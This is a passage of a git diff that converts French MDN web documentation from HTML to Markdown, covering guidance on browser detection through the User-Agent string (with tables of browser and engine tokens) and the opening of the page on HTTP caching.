spécifique. -<p>Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible.</p> +Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible. -<div class="note"> -<p><strong>Note :</strong> Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils !</p> -</div> +> **Note :** Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils ! -<h2 id="A_prendre_en_compte_avant_d'identifier_le_navigateur">A prendre en compte avant d'identifier le navigateur</h2> +## A prendre en compte avant d'identifier le navigateur -<p>Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier <strong>pourquoi</strong> vous souhaitez le faire.</p> +Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier **pourquoi** vous souhaitez le faire. -<dl> - <dt>Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ?</dt> - <dd>Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs (<a href="https://bugzilla.mozilla.org/">Mozilla</a>, <a href="https://bugs.webkit.org/">WebKit</a>, <a href="https://bugs.opera.com">Opera</a>). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug.</dd> - <dt>Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ?</dt> - <dd>Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles.</dd> -</dl> +- Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ? + - : Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs ([Mozilla](https://bugzilla.mozilla.org/), [WebKit](https://bugs.webkit.org/), [Opera](https://bugs.opera.com)). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug. +- Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ? + - : Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles. -<dl> -<dt>Voulez-vous servir un code HTML différent selon le navigateur utilisé ?</dt> - <dd>Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ?</dd> -</dl> +<!----> -<h2 id="Éviter_de_détecter_l'agent_utilisateur">Éviter de détecter l'agent utilisateur</h2> +- Voulez-vous servir un code HTML différent selon le navigateur utilisé ? + - : Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ? -<p>Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur.</p> +## Éviter de détecter l'agent utilisateur -<dl> - <dt>Détection de fonctionnalités</dt> - <dd>La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger.</dd> - <dt>Amélioration progressive</dt> - <dd>Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités.</dd> - <dt>Dégradation élégante</dt> - <dd>Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas.</dd> -</dl> +Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur. -<h2 id="Où_se_trouve_l'information_recherchée_dans_le_User-Agent">Où se trouve l'information recherchée dans le User-Agent</h2> +- Détection de fonctionnalités + - : La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger. +- Amélioration progressive + - : Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités. +- Dégradation élégante + - : Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas. -<p>C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées.</p> +## Où se trouve l'information recherchée dans le User-Agent -<h3 id="Nom_du_navigateur">Nom du navigateur</h3> +C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées. -<p>Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page.</p> +### Nom du navigateur -<p>La plupart des navigateurs notent leur nom et version suivant le format <em>NomDuNavigateur/NuméroDeVersion</em>, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox.</p> +Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page. -<p>Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko".</p> +La plupart des navigateurs notent leur nom et version suivant le format _NomDuNavigateur/NuméroDeVersion_, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox. + +Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko". <table> - <thead> - <tr> - <th scope="col">Moteur</th> - <th scope="col">Doit contenir</th> - <th scope="col">Ne doit pas contenir</th> - <th scope="col">Notes</th> - </tr> - </thead> - <tbody> - <tr> - <td>Firefox</td> - <td>Firefox/xyz</td> - <td>Seamonkey/xyz</td> - <td> </td> - </tr> - <tr> - <td>Seamonkey</td> - <td>Seamonkey/xyz</td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>Chrome</td> - <td>Chrome/xyz</td> - <td>Chromium/xyz</td> - <td> </td> - </tr> - <tr> - <td>Chromium</td> - <td>Chromium/xyz</td> - <td> </td> - <td> </td> - </tr> - <tr> - <td>Safari</td> - <td>Safari/xyz</td> - <td>Chrome/xyz ou Chromium/xyz</td> - <td>Safari donne deux numéros de version, l'un technique au format Safari/xyz, l'autre plus convivial su format Version/xyz</td> - </tr> - <tr> - <td>Opera</td> - <td> - <p>OPR/xyz></p> - - <p>Opera/xyz</p> - </td> - <td> </td> - <td> - <p>Opera 15+ (moteur de rendu Blink)</p> - - <p>Opera 12- (moteur de rendu Presto)</p> - </td> - </tr> - <tr> - <td>Internet Explorer</td> - <td>;MSIE xyz;</td> - <td> </td> - <td>Internet Explorer n'utilise pas le format <em>NomDuNavigateur/NuméroDeVersion</em></td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Moteur</th> + <th scope="col">Doit contenir</th> + <th scope="col">Ne doit pas contenir</th> + <th scope="col">Notes</th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox</td> + <td>Firefox/xyz</td> + <td>Seamonkey/xyz</td> + <td> </td> + </tr> + <tr> + <td>Seamonkey</td> + <td>Seamonkey/xyz</td> + <td> </td> + <td> </td> + </tr> + <tr> + <td>Chrome</td> + <td>Chrome/xyz</td> + <td>Chromium/xyz</td> + <td> </td> + </tr> + <tr> + <td>Chromium</td> + <td>Chromium/xyz</td> + <td> </td> + <td> </td> + </tr> + <tr> + <td>Safari</td> + <td>Safari/xyz</td> + <td>Chrome/xyz ou Chromium/xyz</td> + <td> + Safari donne deux numéros de version, l'un technique au format + Safari/xyz, l'autre plus convivial su format Version/xyz + </td> + </tr> + <tr> + <td>Opera</td> + <td> + <p>OPR/xyz></p> + <p>Opera/xyz</p> + </td> + <td> </td> + <td> + <p>Opera 15+ (moteur de rendu Blink)</p> + <p>Opera 12- (moteur de rendu Presto)</p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>;MSIE xyz;</td> + <td> </td> + <td> + Internet Explorer n'utilise pas le format + <em>NomDuNavigateur/NuméroDeVersion</em> + </td> + </tr> + </tbody> </table> -<p>Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne).</p> +Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne). -<h3 id="Version_du_navigateur">Version du navigateur</h3> +### Version du navigateur -<p>La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur <em>NomDuNavigateur/NuméroDeVersion</em> dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section <em>Version/NuméroDeVersion</em>.</p> +La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur _NomDuNavigateur/NuméroDeVersion_ dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section _Version/NuméroDeVersion_. -<p>Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent.</p> +Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent. -<h3 id="Moteur_de_rendu">Moteur de rendu</h3> +### Moteur de rendu -<p>Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre.</p> +Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre. -<p>Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu.</p> +Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu. -<table> - <thead> - <tr> - <th scope="col">Moteur</th> - <th scope="col">Doit contenir</th> - <th scope="col">Ne doit pas contenir</th> - </tr> - </thead> - <tbody> - <tr> - <td>Gecko</td> - <td>Gecko/xyz</td> - <td> </td> - </tr> - <tr> - <td>WebKit</td> - <td>AppleWebKit/xyz</td> - <td>Attention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs</td> - </tr> - <tr> - <td>Presto</td> - <td>Opera/xyz</td> - <td><strong>Note :</strong> Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink")</td> - </tr> - <tr> - <td>Trident</td> - <td>Trident/xyz</td> - <td>Internet Explorer place cette chaîne dans la partie <em>commentaire</em> du User-Agent</td> - </tr> - <tr> - <td>Blink</td> - <td>Chrome/xyz</td> - <td> </td> - </tr> - </tbody> -</table> +| Moteur | Doit contenir | Ne doit pas contenir | +| ------- | --------------- | --------------------------------------------------------------------------------------------------------------- | +| Gecko | Gecko/xyz | | +| WebKit | AppleWebKit/xyz | Attention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs | +| Presto | Opera/xyz | **Note :** Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink") | +| Trident | Trident/xyz | Internet Explorer place cette chaîne dans la partie _commentaire_ du User-Agent | +| Blink | Chrome/xyz | | -<h2 id="Version_du_moteur_de_rendu">Version du moteur de rendu</h2> +## Version du moteur de rendu -<p>La plupart des moteurs de rendu placent leur numéro de version dans la section <em>MoteurDeRendu/NuméroDeVersion</em>, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne <code>rv:</code>. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section <code>Gecko/version</code> (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail").</p> +La plupart des moteurs de rendu placent leur numéro de version dans la section _MoteurDeRendu/NuméroDeVersion_, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne `rv:`. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section `Gecko/version` (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail"). -<h2 id="Système_d'Exploitation">Système d'Exploitation</h2> +## Système d'Exploitation -<p>Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac).</p> +Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac). -<p>Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent.</p> +Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent. -<h3 id="Mobile_tablette_ou_ordinateur">Mobile, tablette ou ordinateur</h3> +### Mobile, tablette ou ordinateur -<p>La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil.</p> +La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil. -<ul> - <li>Ne partez jamais du principe qu'un navigateur ne fonctionne que sur un seul type d'appareil. En particulier, ne pas définir de paramètre par défaut selon le navigateur.</li> - <li>N'utilisez jamais la chaîne dédiée au système d'exploitation pour déterminer si le navigateur est sur un mobile, une tablette ou un ordinateur. Le même système d'exploitation peut fonctionner sur plusieurs types d'appareil (par exemple, Android fonctionne aussi bien sur des tablettes que sur des téléphones).</li> -</ul> +- Ne partez jamais du principe qu'un navigateur ne fonctionne que sur un seul type d'appareil. En particulier, ne pas définir de paramètre par défaut selon le navigateur. +- N'utilisez jamais la chaîne dédiée au système d'exploitation pour déterminer si le navigateur est sur un mobile, une tablette ou un ordinateur. Le même système d'exploitation peut fonctionner sur plusieurs types d'appareil (par exemple, Android fonctionne aussi bien sur des tablettes que sur des téléphones). -<p>Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile :</p> +Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile : <table> - <caption>User Agent des navigateurs courants</caption> - <thead> - <tr> - <th scope="col">Navigateur</th> - <th scope="col">Règle</th> - <th scope="col">Exemple</th> - </tr> - </thead> - <tbody> - <tr> - <td>Mozilla (Gecko, Firefox)</td> - <td><a href="/en-US/docs/Gecko_user_agent_string_reference">Chaîne <strong>Mobile</strong> ou <strong>Tablet</strong></a> dans le commentaire</td> - <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0</td> - </tr> - <tr> - <td>Basé sur WebKit (Android, Safari)</td> - <td><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3">Chaîne <strong>Mobile Safari</strong></a> hors du commentaire</td> - <td>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</td> - </tr> - <tr> - <td>Basé sur Blink (Chromium, Google Chrome, Opera 15+)</td> - <td><a href="https://developers.google.com/chrome/mobile/docs/user-agent">Chaîne <strong>Mobile Safari</strong> token</a> hors du commentaire</td> - <td>Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047</td> - </tr> - <tr> - <td>Basé sur Presto (Opera 12-)</td> - <td> - <p><a href="http://my.opera.com/community/openweb/idopera/">Chaîne <strong>Opera Mobi/xyz</strong></a> dans le commentaire (Opera 12-)</p> - </td> - <td> - <p>Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50</p> - </td> - </tr> - <tr> - <td>Internet Explorer</td> - <td>Chaîne <strong>IEMobile/xyz</strong> dans le commentaire</td> - <td>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</td> - </tr> - </tbody> + <caption> + User Agent des navigateurs courants + </caption> + <thead> + <tr> + <th scope="col">Navigateur</th> + <th scope="col">Règle</th> + <th scope="col">Exemple</th> + </tr> + </thead> + <tbody> + <tr> + <td>Mozilla (Gecko, Firefox)</td> + <td> + <a href="/en-US/docs/Gecko_user_agent_string_reference" + >Chaîne <strong>Mobile</strong> ou <strong>Tablet</strong></a + > + dans le commentaire + </td> + <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0</td> + </tr> + <tr> + <td>Basé sur WebKit (Android, Safari)</td> + <td> + <a + href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3" + >Chaîne <strong>Mobile Safari</strong></a + > + hors du commentaire + </td> + <td> + Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) + AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 + </td> + </tr> + <tr> + <td>Basé sur Blink (Chromium, Google Chrome, Opera 15+)</td> + <td> + <a href="https://developers.google.com/chrome/mobile/docs/user-agent" + >Chaîne <strong>Mobile Safari</strong> token</a + > + hors du commentaire + </td> + <td> + Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) + AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile + Safari/537.36 OPR/20.0.1396.72047 + </td> + </tr> + <tr> + <td>Basé sur Presto (Opera 12-)</td> + <td> + <p> + <a href="http://my.opera.com/community/openweb/idopera/" + >Chaîne <strong>Opera Mobi/xyz</strong></a + > + dans le commentaire (Opera 12-) + </p> + </td> + <td> + <p> + Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) + Presto/2.9.201 Version/11.50 + </p> + </td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>Chaîne <strong>IEMobile/xyz</strong> dans le commentaire</td> + <td> + Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; + IEMobile/9.0) + </td> + </tr> + </tbody> </table> -<p>En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile.</p> +En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile. -<p>{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}}</p> +{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}} diff --git a/files/fr/web/http/caching/index.md b/files/fr/web/http/caching/index.md index adcab8ef8d..ff8267e065 100644 --- a/files/fr/web/http/caching/index.md +++ b/files/fr/web/http/caching/index.md @@ -8,148 +8,141 @@ tags: translation_of: Web/HTTP/Caching original_slug: Web/HTTP/Cache --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs.</p> +Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs. -<h2 id="Différents_types_de_caches">Différents types de caches</h2> +## Différents types de caches -<p>La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps.</p> +La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps. -<p>Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un <em>cache partagé</em> est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un <em>cache privé</em> est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web.</p> +Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un _cache partagé_ est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un _cache privé_ est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web. -<p><img alt="Ce que permet un cache, avantages et inconvénients des caches privés ou partagés." src="http_cache_type.png"></p> +![Ce que permet un cache, avantages et inconvénients des caches privés ou partagés.](http_cache_type.png) -<h3 id="Caches_de_navigateur_privés">Caches de navigateur privés</h3> +### Caches de navigateur privés -<p>Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via <a href="/fr/docs/Web/HTTP" title="en/HTTP">HTTP</a> par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache.</p> +Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via [HTTP](/fr/docs/Web/HTTP "en/HTTP") par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de 